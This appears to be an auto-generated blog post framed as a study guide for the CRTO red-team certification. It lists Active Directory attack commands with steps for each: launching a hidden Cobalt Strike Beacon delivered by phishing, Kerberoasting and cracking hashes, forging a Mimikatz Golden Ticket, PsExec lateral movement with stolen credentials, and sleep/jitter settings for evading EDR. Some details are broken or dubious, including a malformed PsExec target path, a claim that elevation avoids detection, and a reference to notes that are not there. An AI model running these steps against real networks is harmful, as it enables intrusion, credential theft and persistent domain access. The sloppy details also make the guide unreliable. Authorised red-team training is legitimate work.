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Introduction:
The Certified Red Team Operator (CRTO) by Zero-Point Security is a hands-on certification that sharpens offensive security skills, particularly in Active Directory (AD) exploitation using Cobalt Strike. With an OPSEC-focused approach, this exam challenges professionals to refine their red teaming techniques. In this guide, we’ll break down key concepts, commands, and strategies to help aspiring red teamers succeed.
Learning Objectives:
- Understand CRTO’s OPSEC-driven red teaming methodology
- Master essential Cobalt Strike and AD exploitation commands
- Learn defensive evasion techniques for real-world engagements
You Should Know:
1. Cobalt Strike Beacon Deployment
Command:
Start-Process -FilePath "C:\Payloads\beacon.exe" -WindowStyle Hidden
What It Does:
Executes a hidden Cobalt Strike Beacon payload to establish a C2 (Command & Control) connection.
Step-by-Step Guide:
- Generate a Beacon payload in Cobalt Strike (
Attacks > Packages > Windows Executable). - Transfer the payload to the target (e.g., via phishing or SMB).
- Run the command in an elevated PowerShell session to avoid detection.
2. Kerberoasting Attack
Command:
.\Rubeus.exe kerberoast /outfile:hashes.txt
What It Does:
Extracts service account hashes from Kerberos tickets for offline cracking.
Step-by-Step Guide:
1. Upload Rubeus to a compromised machine.
2. Execute the command to dump hashes.
- Use Hashcat (
hashcat -m 13100 hashes.txt rockyou.txt) to crack passwords.
3. Golden Ticket Attack
Command:
.\mimikatz.exe "kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:aes256_hmac_hash /ptt"
What It Does:
Generates a forged Kerberos ticket for persistent domain admin access.
Step-by-Step Guide:
- Dump the `krbtgt` hash using Mimikatz (
lsadump::lsa /patch). - Craft a Golden Ticket and inject it into memory (
/ptt). - Access any domain resource as a privileged user.
4. Lateral Movement with PsExec
Command:
.\PsExec.exe -accepteula \target-pc -u DOMAIN\user -p password cmd.exe
What It Does:
Executes commands on a remote machine using valid credentials.
Step-by-Step Guide:
1. Obtain credentials via phishing or hash dumping.
- Use PsExec to spawn a shell on the target.
- Avoid detection by using alternate lateral movement tools (e.g., WMI, WinRM).
5. OPSEC Considerations in Cobalt Strike
Command:
sleep 60; jitter 30
What It Does:
Configures Beacon to check in every 60 seconds with 30% randomness to evade EDR.
Step-by-Step Guide:
- Set sleep and jitter values in Cobalt Strike’s Beacon settings.
- Use `spawn` instead of `inject` to reduce memory artifacts.
- Avoid default C2 profiles—customize Malleable C2 to blend in.
What Undercode Say:
- Key Takeaway 1: CRTO emphasizes real-world OPSEC, forcing testers to think like adversaries.
- Key Takeaway 2: Active Directory remains the crown jewel of enterprise attacks—mastering it is non-negotiable.
Analysis:
Miguel Arrabal’s 97/100 score highlights the importance of meticulous preparation. His GitHub notes (linked above) provide invaluable insights for bypassing common exam pitfalls. The shift toward OPSEC-focused certifications reflects the industry’s demand for stealthier red team operations.
Prediction:
As enterprises adopt stricter detection mechanisms, red teamers will increasingly rely on living-off-the-land (LOTL) tactics and custom tooling. Certifications like CRTO will evolve to include cloud-based AD attacks, making continuous learning essential for offensive security professionals.
Ready to dive deeper? Check out Miguel’s CRTO notes and start honing your red team skills today!
IT/Security Reporter URL:
Reported By: Miguelarrabalcastro Red – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
